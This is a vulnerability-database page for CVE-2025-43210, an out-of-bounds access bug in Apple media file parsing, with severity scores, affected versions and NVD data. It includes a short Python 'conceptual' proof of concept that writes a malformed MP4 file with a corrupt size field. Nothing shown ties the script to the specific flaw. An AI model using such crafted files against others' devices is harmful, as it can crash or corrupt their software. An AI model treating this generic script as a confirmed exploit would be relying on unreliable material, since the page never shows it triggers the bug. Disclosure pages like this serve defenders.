Security Vulnerability Report
中文
CVE-2025-43210 CVSS 6.3 MEDIUM

CVE-2025-43210

Published: 2026-04-02 19:20:05
Last Modified: 2026-04-03 18:56:16

Description

An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 18.6 and iPadOS 18.6, iPadOS 17.7.9, macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7, tvOS 18.6, visionOS 2.6, watchOS 11.6. Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 18.6
iPadOS < 18.6
iPadOS < 17.7.9
macOS Sequoia < 15.6
macOS Sonoma < 14.7.7
macOS Ventura < 13.7.7
tvOS < 18.6
visionOS < 2.6
watchOS < 11.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Conceptual PoC for CVE-2025-43210: Out-of-bounds access in media file processing # This script generates a file with a malformed header to trigger the vulnerability. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write a standard container header (e.g., ftyp for MP4) f.write(b'\x00\x00\x00\x20ftypmp42') # Write a malicious data box (mdat) with an invalid size field # This size is intentionally set to be larger than the provided data # to potentially trigger an OOB read during parsing. malicious_size = 0x41414141 # Corrupt size f.write(struct.pack('>I', malicious_size)) f.write(b'mdat') # Some payload data f.write(b'A' * 0x100) print(f"[+] Generated malicious file: {filename}") if __name__ == "__main__": create_malicious_file("cve_2025_43210_poc.mov")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43210", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:20:05.243", "lastModified": "2026-04-03T18:56:15.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 18.6 and iPadOS 18.6, iPadOS 17.7.9, macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7, tvOS 18.6, visionOS 2.6, watchOS 11.6. Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.7.9", "matchCriteriaId": "E2A4A63D-08FE-4021-8059-FB290A7F398A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "18.0", "versionEndExcluding": "18.6", "matchCriteriaId": "2E56FF85-7920-40F5-BF37-32C8C839CCC8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.6", "matchCriteriaId": "BD9D42A7-DE2A-4D5A-8C7B-002A60148483"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0", "versionEndExcluding": "13.7.7", "matchCriteriaId": "038B07DF-897A-4651-9B8F-2CE40307BE31"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.7.7", "matchCriteriaId": "4F043DE0-C517-463D-9693-53789EB6132D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.6", "matchCriteriaId": "4CF17CE2-DB4B-48D1-81AF-67EF1EC7BB45"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.6", "matchCriteriaId": "FBC1698A-3E9C-4055-B23A-13A3C22BD6EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6", "matchCriteriaId": "EADBC0BD-ECAC-4E0A-B490-24649AFE5355"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.6", "matchCriteriaId": "35D9C2D7-6120-4631-8D0B-259641DFD85B"}]}]}], "references": [{"url": "https://support.apple.com/en-us/124147", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124148", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124149", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124150", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124151", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124153", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124154", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/124155", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}